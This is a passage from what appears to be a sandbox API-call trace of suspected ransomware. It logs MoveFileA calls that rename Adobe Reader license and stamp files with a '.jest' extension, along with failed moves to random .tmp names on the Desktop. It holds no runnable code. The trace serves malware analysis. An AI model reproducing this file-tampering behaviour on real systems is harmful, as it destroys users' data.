lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.03") returned 0x0 [0156.345] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\e1w7_K xHFX8ka4uM6mjsblbjtYl0Tfus4EpDpMx2soVmxSAVU5_ILOsNopJv0nlQPlphLBd0flZsM-tSFQjseFTUPOyx8I6cv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e1w7_k xhfx8ka4um6mjsblbjtyl0tfus4epdpmx2sovmxsavu5_ilosnopjv0nlqplphlbd0flzsm-tsfqjseftupoyx8i6cv.tmp")) returned 0 [0156.345] GetLastError () returned 0x2 [0156.346] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.346] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.346] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.346] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.346] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.347] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html.jest")) returned 1 [0156.348] GetLastError () returned 0x0 [0156.348] VarBstrFromR4 (in: fltIn=0x47945304, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.03") returned 0x0 [0156.349] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ESP\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\esp\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y5plMPjY5EwpbRV4oO32gWOEe61tZ5MlZVd D5C67xRpvFz b_wHFRVRiSqjEikrahDX_hGm 71Hbgk0fldm0IS-qlW7sqyp5qi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y5plmpjy5ewpbrv4oo32gwoee61tz5mlzvd d5c67xrpvfz b_whfrvrisqjeikrahdx_hgm 71hbgk0fldm0is-qlw7sqyp5qi.tmp")) returned 0 [0156.349] GetLastError () returned 0x2 [0156.350] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.350] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.350] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.350] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.350] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.350] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html.jest")) returned 1 [0156.351] GetLastError () returned 0x0 [0156.351] VarBstrFromR4 (in: fltIn=0x47945304, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.03") returned 0x0 [0156.352] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LsTpqfjhqpcTzZeeKRXRAewT6iqRpyW_ lUC5NiI3S7JG6i39lVcrHGH8dX2puxRb5ZT rSiWmn_9Tk rO2BZ2sI2ZmRd1mTboCt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lstpqfjhqpctzzeekrxraewt6iqrpyw_ luc5nii3s7jg6i39lvcrhgh8dx2puxrb5zt rsiwmn_9tk ro2bz2si2zmrd1mtboct.tmp")) returned 0 [0156.353] GetLastError () returned 0x2 [0156.353] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.353] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.353] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.353] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.353] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.356] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html.jest")) returned 1 [0156.357] GetLastError () returned 0x0 [0156.357] VarBstrFromR4 (in: fltIn=0x47945306, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.05") returned 0x0 [0156.358] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nor\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXMiJvYk6yaSQSI5c7_TYQtQN3ODIlYfEdQz7K3B8JOZyrUOF XkgQMxtnzH0qFIm WbpsNxbMby0fVZK juxtWx9Yu5yxexM1x-g.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxmijvyk6yasqsi5c7_tyqtqn3odilyfedqz7k3b8jozyruof xkgqmxtnzh0qfim wbpsnxbmby0fvzk juxtwx9yu5yxexm1x-g.tmp")) returned 0 [0156.358] GetLastError () returned 0x2 [0156.359] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.359] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.359] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.359] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.359] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.359] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html.jest")) returned 1 [0156.360] GetLastError () returned 0x0 [0156.361] VarBstrFromR4 (in: fltIn=0x47945306, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.05") returned 0x0 [0156.362] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ah3Ybdtz25KnRKMWh_dvoE_Ew-Xh8dfg8lJd_IcKmtRnJ3DbLgq1 8AIXF5wNhVTf_UFY5OOqOO_GU0fs1gEGLQVkkkYf26HSQ3w6.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ah3ybdtz25knrkmwh_dvoe_ew-xh8dfg8ljd_ickmtrnj3dblgq1 8aixf5wnhvtf_ufy5ooqoo_gu0fs1geglqvkkkyf26hsq3w6.tmp")) returned 0 [0156.362] GetLastError () returned 0x2 [0156.362] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.363] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.363] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.363] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.363] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.363] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html.jest")) returned 1 [0156.364] GetLastError () returned 0x0 [0156.364] VarBstrFromR4 (in: fltIn=0x47945306, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.05") returned 0x0 [0156.365] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ENU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\enu\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\5Q 40ukuqz8P_vzhXXK7ypvQsHpMhrTD7iMlI5e0iYLz iFL9rRM-8t_zFKvkThDi6lQ4RU3GoYvvNNHeGiMIzXFt0YKP REjoSOv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\5q 40ukuqz8p_vzhxxk7ypvqshpmhrtd7imli5e0iylz ifl9rrm-8t_zfkvkthdi6lq4ru3goyvvnnhegimizxft0ykp rejosov.tmp")) returned 0 [0156.365] GetLastError () returned 0x2 [0156.366] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.366] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.366] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.366] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.366] VarOr (in: pvarLeft=0x18ecec, pvarRight=0x18ecac, pvarResult=0x18ec9c | out: pvarResult=0x18ec9c) returned 0x0 [0156.367] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html.jest")) returned 1 [0156.368] GetLastError () returned 0x0 [0156.368] VarBstrFromR4 (in: fltIn=0x47945308, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.06") returned 0x0 [0156.369] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wyw__RyPXoAQyEZ0xKCakL7I4hGvHb6skvoejNqjrjWTU8kt2b0xoILrqOjqX6OX5JTxE 04im59JsOOwJ5hexF32H- IVQSxYQb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wyw__rypxoaqyez0xkcakl7i4hgvhb6skvoejnqjrjwtu8kt2b0xoilrqojqx6ox5jtxe 04im59jsoowj5hexf32h- ivqsxyqb.tmp")) returned 0 [0156.369] GetLastError () returned 0x2 [0156.370] VarOr (in: pvarLeft=0x18ee2c, pvarRight=0x18edec, pvarResult=0x18eddc | out: pvarResult=0x18eddc) returned 0x0 [0156.370] VarOr (in: pvarLeft=0x18eddc, pvarRight=0x18ed9c, pvarResult=0x18ed8c | out: pvarResult=0x18ed8c) returned 0x0 [0156.370] VarOr (in: pvarLeft=0x18ed8c, pvarRight=0x18ed4c, pvarResult=0x18ed3c | out: pvarResult=0x18ed3c) returned 0x0 [0156.370] VarOr (in: pvarLeft=0x18ed3c, pvarRight=0x18ecfc, pvarResult=0x18ecec | out: pvarResult=0x18ecec) returned 0x0 [0156.370] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html.jest")) returned 1 [0156.371] GetLastError () returned 0x0 [0156.372] VarBstrFromR4 (in: fltIn=0x47945308, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.06") returned 0x0 [0156.373] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SUO\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\suo\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rOW-mMD3_0D0Z-zVOcsQ8svUgjYwbZXPVgZ7FipWojW0J2XsC2p8-boO kCjFwZW70o bLOO29u tNg1muupmZ9kmhHh8qwl6h3F.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\row-mmd3_0d0z-zvocsq8svugjywbzxpvgz7fipwojw0j2xsc2p8-boo kcjfwzw70o bloo29u tng1muupmz9kmhhh8qwl6h3f.tmp")) returned 0 [0156.373] GetLastError () returned 0x2 [0156.374] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html.jest")) returned 1 [0156.375] GetLastError () returned 0x0 [0156.375] VarBstrFromR4 (in: fltIn=0x47945308, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.06") returned 0x0 [0156.376] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\I6CmySufUvAGQrjSfrnxYjQdRvXpzAQ1fdWGQJhuA8E0oR-pomFpT4sR83il2kRMs9w-DYCSvglX dAzxIG7BQkH7mLleg618Dk_d.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\i6cmysufuvagqrjsfrnxyjqdrvxpzaq1fdwgqjhua8e0or-pomfpt4sr83il2krms9w-dycsvglx dazxig7bqkh7mlleg618dk_d.tmp")) returned 0 [0156.376] GetLastError () returned 0x2 [0156.377] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html.jest")) returned 1 [0156.378] GetLastError () returned 0x0 [0156.378] VarBstrFromR4 (in: fltIn=0x47945308, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.06") returned 0x0 [0156.379] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\NLD\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\nld\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\H KzLbdBTK3JJG1BlaotD0CkzlgB4wL8h8tQ5P1lJrCNwmlSYh68RCQd7eVE5pY3f9iOavJOq GUCWwsFEAMkh7cnJfhiskB pWez.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\h kzlbdbtk3jjg1blaotd0ckzlgb4wl8h8tq5p1ljrcnwmlsyh68rcqd7eve5py3f9ioavjoq gucwwsfeamkh7cnjfhiskb pwez.tmp")) returned 0 [0156.379] GetLastError () returned 0x2 [0156.380] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html.jest")) returned 1 [0156.381] GetLastError () returned 0x0 [0156.381] VarBstrFromR4 (in: fltIn=0x47945308, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.06") returned 0x0 [0156.382] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DEU\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\deu\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\jCpoQv5zt8xiRgMPi8brxrh-irY0CEU5zOMGgFVrjmnv5bEdT_i458boAsdO0eKmn 61cOS8ZrkDSraYjvh-uneKkVzAmlikQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jcpoqv5zt8xirgmpi8brxrh-iry0ceu5zomggfvrjmnv5bedt_i458boasdo0ekmn 61cos8zrkdsrayjvh-unekkvzamlikq.tmp")) returned 0 [0156.383] GetLastError () returned 0x2 [0156.383] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html.jest")) returned 1 [0156.384] GetLastError () returned 0x0 [0156.385] VarBstrFromR4 (in: fltIn=0x4794530a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.08") returned 0x0 [0156.386] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7pX5_cp5s3-h5UwB-K_P8pk2Vin3DD V-0GCJZ571s1ou0rXYcVeH4W0Zc9m7KhqnHJDWhD2c8SKBog_Cz92GNd4PZXwaH2654O4v.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7px5_cp5s3-h5uwb-k_p8pk2vin3dd v-0gcjz571s1ou0rxycveh4w0zc9m7khqnhjdwhd2c8skbog_cz92gnd4pzxwah2654o4v.tmp")) returned 0 [0156.386] GetLastError () returned 0x2 [0156.386] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html.jest")) returned 1 [0156.387] GetLastError () returned 0x0 [0156.388] VarBstrFromR4 (in: fltIn=0x4794530a, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.08") returned 0x0 [0156.389] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\B2Uo4rmSzmTzhb4pm38xPWIjWHZyzQhF-G2UlVZzxLwxkfE_6Dbzj7Nw9Ibvy2M98wRtMOUJw80zQOl2Kju6VOFLddrHBL3SLlwdE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\b2uo4rmszmtzhb4pm38xpwijwhzyzqhf-g2ulvzzxlwxkfe_6dbzj7nw9ibvy2m98wrtmoujw80zqol2kju6voflddrhbl3sllwde.tmp")) returned 0 [0156.389] GetLastError () returned 0x2 [0156.390] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf.jest")) returned 1 [0156.592] GetLastError () returned 0x0 [0156.593] VarBstrFromR4 (in: fltIn=0x47945324, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.28") returned 0x0 [0156.594] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Standard.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\standard.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\G_eHIfMjN4bU_OirXuRJpvFlG3x8WQ_ythnbKVRFDbgRv9G z wHednlHn5IeSWtSKsHkKgDE3dQ7vc1tklw9d9rdyBXHKdBqAgDw.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\g_ehifmjn4bu_oirxurjpvflg3x8wq_ythnbkvrfdbgrv9g z whednlhn5ieswtskshkkgde3dq7vc1tklw9d9rdybxhkdbqagdw.tmp")) returned 0 [0156.594] GetLastError () returned 0x2 [0156.594] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf.jest")) returned 1 [0156.595] GetLastError () returned 0x0 [0156.596] VarBstrFromR4 (in: fltIn=0x47945324, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.28") returned 0x0 [0156.597] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\faces.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\FJVzY3IwgMO52jArh9ZvLQ1X0KMZMCL7bn DRLCeLWCsC3YUfiHF 2wmhS2xrbggz4 HoOQ7wgG Y3Yy-U6c4kyYNWY5w_JDNp.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\fjvzy3iwgmo52jarh9zvlq1x0kmzmcl7bn drlcelwcsc3yufihf 2wmhs2xrbggz4 hooq7wgg y3yy-u6c4kyynwy5w_jdnp.tmp")) returned 0 [0156.597] GetLastError () returned 0x2 [0156.597] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf.jest" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf.jest")) returned 1 [0156.598] GetLastError () returned 0x0 [0156.599] VarBstrFromR4 (in: fltIn=0x47945324, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75942.28") returned 0x0 [0156.599] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\pointers.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\IK2HHGuy1V_4 y9S9fyX2QRjYk_mEn4U6 MXpxPBAVCyjnsfA0BwY_BzFWexH--k6xDDIPZJkM5fBX90wzubv_9ktvbLJWzZDd5bU.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ik2hhguy1v_4 y9s9fyx2qrjyk_men4u6 mxpxpbavcyjnsfa0bwy_bzfwexh--k6xddipzjkm5fbx90wzubv_9ktvbljwzzdd5bu.tmp")) returned 0 [0156.600] GetLastError () returned 0x2 [0156.600] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 